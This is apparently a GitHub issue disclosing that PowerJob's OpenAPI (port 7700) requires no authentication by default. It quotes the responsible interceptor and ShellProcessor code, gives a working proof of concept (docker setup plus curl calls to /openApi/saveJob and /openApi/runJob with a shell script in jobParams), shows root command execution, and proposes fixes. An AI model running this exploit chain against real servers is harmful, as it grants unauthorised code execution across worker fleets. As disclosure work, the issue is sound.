#1186·PowerJob

PowerJob OpenAPI is unauthenticated by default -> unauthenticated RCE on a connected worker

Author: geo-chenCreated Jul 19, 2026Updated Aug 11, 2026
Labelsbug

reported via email on 13 June 2026, no response:

Summary

Authentication for the PowerJob OpenAPI (the server HTTP API under /openApi, default port 7700) is gated by oms.auth.openapi.enable, which defaults to false; when it is false the OpenAPI request interceptor returns true for every request without checking any app token or password, and the OpenAPI controller methods carry no @ApiPermission annotation, so the console permission interceptor also allows them. As a result, an unauthenticated network client can call POST /openApi/saveJob and POST /openApi/runJob against any application id. By creating a BUILT_IN job whose processor is the bundled ShellProcessor and whose parameters are an attacker-supplied shell script, the attacker achieves remote code execution on any worker that has powerjob-official-processors on its classpath (which the standard standalone powerjob-worker-agent does), running as the worker's OS user.

Details

Two interceptors guard the server HTTP endpoints (powerjob-server-starter/.../config/WebConfig.java): PowerJobAuthInterceptor on /** and OpenApiInterceptor on /openApi/**.

OpenApiInterceptor (powerjob-server-starter/src/main/java/tech/powerjob/server/openapi/OpenApiInterceptor.java) short-circuits to "allow" when OpenAPI auth is disabled, which is the default:

java
@Value("${oms.auth.openapi.enable:false}")     // default: false
private boolean enableOpenApiAuth;

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) {
    if (!enableOpenApiAuth) {
        response.addHeader(OpenAPIConstant.RESPONSE_HEADER_AUTH_STATUS, Boolean.TRUE.toString());
        return true;                            // no token/password checked
    }
    ...
    openApiSecurityService.authAppByToken(request);   // only reached when enabled
    ...
}

PowerJobAuthInterceptor (powerjob-server-auth/src/main/java/tech/powerjob/server/auth/interceptor/PowerJobAuthInterceptor.java) allows any handler method with no @ApiPermission annotation:

java
final ApiPermission apiPermissionAnno = method.getAnnotation(ApiPermission.class);
if (apiPermissionAnno == null) {
    return true;                                // no login required
}

The OpenAPI controller methods carry no @ApiPermission (powerjob-server-starter/src/main/java/tech/powerjob/server/openapi/OpenAPIController.java), so POST /openApi/saveJob and POST /openApi/runJob execute with no authentication. saveJob does not authenticate the caller; it persists the job for the appId supplied in the body, and appId is a small integer (the first registered application is 1).

The worker loads a BUILT_IN processor by its class name via BuiltInDefaultProcessorFactory (reflection). The bundled tech.powerjob.official.processors.impl.script.ShellProcessor (from powerjob-official-processors, a dependency of powerjob-worker-agent) extends AbstractScriptProcessor, which takes the script from the job/instance parameters and executes it (powerjob-official-processors/.../script/AbstractScriptProcessor.java):

java
String scriptParams = CommonUtils.parseParams(context);          // attacker-controlled job params
...
String scriptPath = prepareScriptFile(context.getInstanceId(), scriptParams);   // written to a .sh file
...
ProcessBuilder pb = new ProcessBuilder(getRunCommand(), scriptPath);   // ShellProcessor.getRunCommand() == "/bin/sh"
Process process = pb.start();                                    // remote code execution on the worker

So an unauthenticated saveJob with processorType=BUILT_IN, processorInfo=tech.powerjob.official.processors.impl.script.ShellProcessor, and jobParams set to a shell script, followed by runJob, runs that script on a connected worker. (Note: a processorType=SHELL job is not executable - no worker registers a factory for that type - so the executable path is BUILT_IN + the ShellProcessor class name, with the command in the params.)

PoC

The following stands up a default PowerJob deployment and then runs the attack with no credentials. The powerjob-worker-agent image bundles powerjob-official-processors, so the ShellProcessor class is loadable on the worker.

Stand up server + DB + a script-capable worker agent (the agent registers to app id 1, powerjob-worker-samples, which the bundled MySQL image pre-creates):

bash
git clone --depth 1 https://github.com/PowerJob/PowerJob && cd PowerJob
docker compose up -d                              # mysql + server(:7700) + a worker
# add a worker that bundles the official ShellProcessor, on the same network, registered to app id 1:
NET=$(docker inspect powerjob-server -f '{{range $k,$v := .NetworkSettings.Networks}}{{$k}}{{end}}')
docker run -d --name powerjob-agent --network "$NET" \
  -e PARAMS="-a powerjob-worker-samples -s powerjob-server:7700" powerjob/powerjob-agent:latest
# wait for "PowerJobWorker initialized successfully" in: docker logs powerjob-agent

Run the attack (no auth headers, no app password):

bash
T=http://127.0.0.1:7700
JID=$(curl -s -X POST "$T/openApi/saveJob" -H 'Content-Type: application/json' -d '{
  "appId":1,"jobName":"poc","timeExpressionType":"API","executeType":"STANDALONE",
  "processorType":"BUILT_IN",
  "processorInfo":"tech.powerjob.official.processors.impl.script.ShellProcessor",
  "jobParams":"id > /tmp/pwned.txt; echo PWNED_$(hostname) >> /tmp/pwned.txt"
}' | sed -n 's/.*"data":\([0-9]*\).*/\1/p')
curl -s -X POST "$T/openApi/runJob?appId=1&jobId=$JID"
# confirm the worker executed the command:
sleep 8; docker exec powerjob-agent cat /tmp/pwned.txt

Observed:

bash
saveJob -> {"success":true,"data":3,"message":null}
runJob  -> {"success":true,"data":945844187327103040,"message":null,"code":null}
docker exec powerjob-agent cat /tmp/pwned.txt:
  uid=0(root) gid=0(root) groups=0(root)
  PWNED_aef793afce62

Both OpenAPI calls succeed with no authentication, and the worker executes the attacker-supplied script as its OS user (root in the agent container).

Impact

Any unauthenticated attacker who can reach the PowerJob server's HTTP port (default 7700) can create and run jobs in the default configuration. Against any worker that has powerjob-official-processors on its classpath (including the standard standalone powerjob-worker-agent), this is remote code execution as the worker's OS user, with no credentials and no user interaction. Because one server orchestrates many workers and workers commonly run with broad privileges and access to the systems they automate, the scope is the whole worker fleet. Workers without the official processors are still exposed to unauthenticated job creation/execution and denial of service against the sequencing pipeline. Fix: default oms.auth.openapi.enable to true (fail closed); require a valid app credential/token on every OpenAPI mutating endpoint regardless of the switch; and add @ApiPermission (or an equivalent app-scoped check) to the OpenAPI controller methods so an unannotated method denies rather than allows.